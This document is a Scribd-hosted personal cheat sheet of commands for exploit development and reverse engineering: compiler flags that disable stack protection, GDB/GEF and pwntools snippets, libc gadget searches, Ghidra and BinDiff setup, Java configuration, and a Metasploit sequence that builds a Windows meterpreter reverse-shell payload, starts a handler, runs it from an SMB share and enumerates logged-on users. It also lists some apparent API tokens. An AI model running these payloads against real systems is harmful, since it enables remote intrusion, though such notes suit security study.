0% found this document useful (0 votes)
38 views3 pages

Hackwindow

The document provides a series of commands and code snippets for compiling and analyzing software, particularly focusing on security and reverse engineering techniques. It includes instructions for setting up development environments, using tools like GDB, pwntools, and BinDiff, as well as methods for exploiting vulnerabilities. Additionally, it covers Java installation and configuration for various versions, along with commands for network services and Metasploit usage.

Uploaded by

vodanhhayday
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
38 views3 pages

Hackwindow

The document provides a series of commands and code snippets for compiling and analyzing software, particularly focusing on security and reverse engineering techniques. It includes instructions for setting up development environments, using tools like GDB, pwntools, and BinDiff, as well as methods for exploiting vulnerabilities. Additionally, it covers Java installation and configuration for various versions, along with commands for network services and Metasploit usage.

Uploaded by

vodanhhayday
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

/Zi or /ZI

gcc -ggdb -mpreferred-stack-boundary=4 -fno-stack-protector -o meet meet.c


set disassembly-flavor intel

targets_file = open('targets','r')
lines = targets_file.readlines()
lines
lines_dictionary = {}
for line in lines :
oneline = [Link]()
line_key = oneline[0]
line_value = oneline[1]
lines_dictionary[line_key] = line_value

for key in lines_dictionary.keys():


targets_string = lines_dictionary[key]
target_list = targets_string.split(",")
target_number = len(target_list)
filename = key + '_' + str(target_number) + '_targets'
vuln_file = open(filename,'w')
for vuln_target in target_list:
vuln_file.write(vuln_target + '\n')

vuln_file.close()

gcc hello.c -W1,-z,relro,-z,now -02 -D_FORTYFI_SOURCE=2 -S -fstack-protector-all -o


hello-stronger

gcc hello.c -o hello


mkdir lib && cp /lib64/[Link].2 lib/[Link] && cp /lib/x86_64-linux-
gnu/[Link] lib && ln -s [Link] lib/[Link].6
strings -tx /lib/x86_64-linux-gnu/[Link].6 | grep /bin/sh
objdump -M intel -d /lib/x86_64-linux-gnu/[Link].6 |grep -C8 197e34
one_gadget /lib/x86_64-linux-gnu/[Link].6
ropper --file hello --chain 'mprotect address=0xdeadbabe size=0x1000'
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev
build-essential
sudo python3 -m pip install --upgrade pip
sudo python3 -m pip install --upgrade pwntools

python -m venv my-venv


my-venv/bin/pip install some-python-library
from pwn import *
my-venv/bin/python3
/home/kali/my-venv/bin/pip install -r gef/[Link]
[Link](arch='amd64', os='linux')
libc = ELF("/usr/lib/x86_64-linux-gnu/[Link]")
libc = ELF("/usr/lib/x86_64-linux-gnu/[Link].6")
p = process("/home/kali/Documents/code/ch03/leak-bof")
l = [Link]("Stage 1: leak printf and calculate libc's base address")
~/Documents/code/ch03/leak-bof
[Link]
cp /lib/x86_64-linux-gnu/[Link] /lib/x86_64-linux-gnu/[Link]
file /lib/x86_64-linux-gnu/[Link].6
/home/kali/Documents/code/ch03
gcc -o runshell runshell.c -m32
gcc -z execstack -m32 -o runshell runshell.c
git clone [Link] && pip install -r gef/[Link]
&& echo "source ~/gef/[Link]\nsource ~/gef/scripts/[Link]" > ~/.gdbinit
sudo apt install build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev
libsqlite3-dev curl git libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev
libffi-dev liblzma-dev
heap-analysis-helper
heapme init [Link] 67d525d963bd47001aa68029 5badca50-016b-11f0-
a0a1-c92544ebedad
heapme init [Link] 67d52b2063bd47001aa6802a 80ad8090-016e-11f0-
a0a1-c92544ebedad
heapme init [Link] 67d52df863bd47001aa6802b 32888ca0-0170-11f0-
a0a1-c92544ebedad
heapme watch malloc
sudo apt-get update && sudo apt-get install -y openjdk-11-jdk
unzip ghidra_9.2.3_PUBLIC_20210325.zip -d ~
./ghidraRun

wget [Link] &&


sudo unzip [Link] -d /opt
wget [Link] && sudo unzip
[Link] -d /opt
wget [Link]
sudo unzip [Link] -d /opt
git clone --single --depth=1 --branch=master [Link]
~/binexport/ && cd ~/binexport/java/BinExport &&
/opt/gradle-6.5-milestone-2/bin/gradle -PGHIDRA_INSTALL_DIR=~/ghidra_9.2.3_PUBLIC
export JAVA_HOME='/usr/lib/jvm/java-11-openjdk-amd64'
sudo update-java-alternatives --set java-11-openjdk-amd64
/opt/gradle-6.5-milestone-2/bin/gradle -PGHIDRA_INSTALL_DIR=~/ghidra_9.2.3_PUBLIC
/home/kali/binexport/java/BinExport

wget [Link]
wget
[Link]
b
sudo dpkg -i bindiff_6_amd64.deb || sudo apt-get install -f
cd ~/ && git clone --single --depth=1 --branch=master
[Link] && cd ~/BinDiffHelper && /opt/gradle-6.5-
milestone-2/bin/gradle -PGHIDRA_INSTALL_DIR='~/ghidra_9.2.3_PUBLIC'
/opt/gradle-7.2/bin/gradle -PGHIDRA_INSTALL_DIR='~/ghidra_9.2.3_PUBLIC'
copyDependencies
/opt/gradle-7.2/bin/gradle
:compileJava
Task with path ':BinExport:generateProto' not found

The consumer was configured to find a runtime of a library compatible with Java 11,
packaged as a jar, preferably optimized for standard JVMs, and its dependencies
declared externally but:
- None of the consumable configurations have attributes.
export JAVA_HOME="/usr/lib/jvm/java-1.21.0-openjdk-amd64/"
java-1.11.0-openjdk-amd64
export PATH=$PATH:$JAVA_HOME/bin

sudo update-java-alternatives --list


sudo update-java-alternatives --set java-1.11.0-openjdk-amd64
/usr/lib/jvm/openlogic-openjdk-8u442-b06-linux-x64/bin/java
sudo tar -xvzf ~/Documents/[Link]
/usr/lib/jvm/jdk1.8.0_441/bin
/usr/lib/jvm/jdk1.8.0_441/db/bin
/usr/lib/jvm/jdk1.8.0_441/jre/bin

J2SDKDIR="/usr/lib/jvm/jdk1.8.0_441"
J2REDIR="/usr/lib/jvm/jdk1.8.0_441/jre"
JAVA_HOME="/usr/lib/jvm/jdk1.8.0_441"
DERBY_HOME="/usr/lib/jvm/jdk1.8.0_441/db"

sudo update-alternatives --install "/usr/bin/java" "java"


"/usr/lib/jvm/jdk1.8.0_441/bin/java" 0
sudo update-alternatives --install "/usr/bin/javac" "javac"
"/usr/lib/jvm/jdk1.8.0_441/bin/javac" 0

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_441/bin/java


sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_441/bin/javac

objdump -M intel -j .text -d ./myAtoi | grep "<main>:" -A8

gdbserver --once localhost:23946 ./myProg


gdbserver --once localhost:23946 /home/kali/Documents/code/ch05
/myProg

gdbserver localhost:10000 vim /etc/network/interfaces

cat [Link] | sudo tee -a /etc/samba/[Link]


sudo service smbd restart
smbclient -L localhost

msfvenom -p windows/meterpreter_reverse_tcp -f exe --platform Windows -o


/tmp/[Link]
chmod 755 /tmp/[Link]
use multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST [Link]
exploit

& \\[Link]\ghh\[Link]
run post/windows/gather/enum_logged_on_users

You might also like